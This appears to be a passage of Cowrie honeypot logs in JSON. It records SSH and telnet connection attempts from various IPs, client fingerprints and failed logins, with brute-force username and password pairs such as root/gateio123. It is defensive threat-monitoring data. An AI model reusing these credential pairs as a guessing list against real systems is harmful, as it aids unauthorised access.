f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:58.907042Z","src_ip":"139.59.4.137","session":"c95624c437f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sherzad420","password":"pakistan","message":"login attempt [sherzad420/pakistan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:26:59.777973Z","src_ip":"139.59.4.137","session":"c95624c437f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:00.990461Z","src_ip":"139.59.4.137","session":"c95624c437f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":52054,"dst_ip":"159.203.135.109","dst_port":22,"session":"181906f8033d","protocol":"ssh","message":"New connection: 162.241.129.208:52054 (159.203.135.109:22) [session: 181906f8033d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:05.279538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:05.286088Z","src_ip":"162.241.129.208","session":"181906f8033d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:05.310420Z","src_ip":"162.241.129.208","session":"181906f8033d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maker","password":"maker123","message":"login attempt [maker/maker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:05.383745Z","src_ip":"162.241.129.208","session":"181906f8033d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:06.410616Z","src_ip":"162.241.129.208","session":"181906f8033d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.344394207000732,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:16.186214Z","src_ip":"50.62.181.92","session":"d2d2b3734b69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43620467185974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:28.352726Z","src_ip":"50.62.181.92","session":"0cf21b96e925","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":60926,"dst_ip":"10.17.0.5","dst_port":22,"session":"15ccd1705ae2","protocol":"ssh","message":"New connection: 185.242.3.195:60926 (10.17.0.5:22) [session: 15ccd1705ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:34.673372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:34.677019Z","src_ip":"185.242.3.195","session":"15ccd1705ae2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:34.768618Z","src_ip":"185.242.3.195","session":"15ccd1705ae2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xinyufeng","password":"xinyufeng","message":"login attempt [xinyufeng/xinyufeng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:35.046606Z","src_ip":"185.242.3.195","session":"15ccd1705ae2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.75.11","src_port":42846,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fa25273da25","protocol":"ssh","message":"New connection: 161.97.75.11:42846 (159.203.135.109:22) [session: 4fa25273da25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:35.301852Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:35.305907Z","src_ip":"161.97.75.11","session":"4fa25273da25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:35.399616Z","src_ip":"161.97.75.11","session":"4fa25273da25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zagreb_croatia","password":"zagreb123","message":"login attempt [zagreb_croatia/zagreb123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:35.677437Z","src_ip":"161.97.75.11","session":"4fa25273da25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:36.140372Z","src_ip":"185.242.3.195","session":"15ccd1705ae2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:27:36.770617Z","src_ip":"161.97.75.11","session":"4fa25273da25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":49980,"dst_ip":"159.203.135.109","dst_port":22,"session":"465e33d77565","protocol":"ssh","message":"New connection: 139.59.4.137:49980 (159.203.135.109:22) [session: 465e33d77565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:28:33.067096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:28:33.070668Z","src_ip":"139.59.4.137","session":"465e33d77565","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:28:33.281571Z","src_ip":"139.59.4.137","session":"465e33d77565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test","message":"login attempt [ubuntu/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:28:34.150100Z","src_ip":"139.59.4.137","session":"465e33d77565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:28:35.362234Z","src_ip":"139.59.4.137","session":"465e33d77565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":34430,"dst_ip":"159.203.135.109","dst_port":23,"session":"05c85361f4dc","protocol":"telnet","message":"New connection: 170.64.224.25:34430 (159.203.135.109:23) [session: 05c85361f4dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:28:50.188967Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.241","src_port":52984,"dst_ip":"10.17.0.5","dst_port":22,"session":"e99ba4bc0d5f","protocol":"ssh","message":"New connection: 162.241.239.241:52984 (10.17.0.5:22) [session: e99ba4bc0d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:29:03.046209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:29:03.049880Z","src_ip":"162.241.239.241","session":"e99ba4bc0d5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:29:03.079107Z","src_ip":"162.241.239.241","session":"e99ba4bc0d5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gateio123","message":"login attempt [root/gateio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:29:03.172045Z","src_ip":"162.241.239.241","session":"e99ba4bc0d5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:29:04.204122Z","src_ip":"162.241.239.241","session":"e99ba4bc0d5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":42046,"dst_ip":"10.17.0.5","dst_port":22,"session":"657ab283ff38","protocol":"ssh","message":"New connection: 85.214.154.50:42046 (10.17.0.5:22) [session: 657ab283ff38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:29:13.952711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:29:13.958881Z","src_ip":"85.214.154.50","session":"657ab283ff38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:29:14.058382Z","src_ip":"85.214.154.50","session":"657ab283ff38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"roger","password":"BitcoinC@sh!P@ssw0rd$","message":"login attempt [roger/BitcoinC@sh!P@ssw0rd$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:29:14.356632Z","src_ip":"85.214.154.50","session":"657ab283ff38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:29:15.458084Z","src_ip":"85.214.154.50","session":"657ab283ff38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.234","src_port":42334,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ac03efd80f7","protocol":"ssh","message":"New connection: 80.94.92.234:42334 (10.17.0.5:22) [session: 7ac03efd80f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:29:32.996272Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:29:33.102261Z","src_ip":"80.94.92.234","session":"7ac03efd80f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.78135085105896,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:29:52.970241Z","src_ip":"170.64.224.25","session":"05c85361f4dc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":58100,"dst_ip":"10.17.0.5","dst_port":22,"session":"d48a42cee797","protocol":"ssh","message":"New connection: 143.20.185.207:58100 (10.17.0.5:22) [session: d48a42cee797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:02.015814Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:02.019950Z","src_ip":"143.20.185.207","session":"d48a42cee797","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:02.141431Z","src_ip":"143.20.185.207","session":"d48a42cee797","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"undefinedVPS#4VCPU8GBAMD","message":"login attempt [root/undefinedVPS#4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:02.696054Z","src_ip":"143.20.185.207","session":"d48a42cee797","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:04.614850Z","src_ip":"143.20.185.207","session":"d48a42cee797","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.4.137","src_port":50520,"dst_ip":"159.203.135.109","dst_port":22,"session":"08ce74f3e212","protocol":"ssh","message":"New connection: 139.59.4.137:50520 (159.203.135.109:22) [session: 08ce74f3e212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:08.454134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T20:30:08.458288Z","src_ip":"139.59.4.137","session":"08ce74f3e212","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","a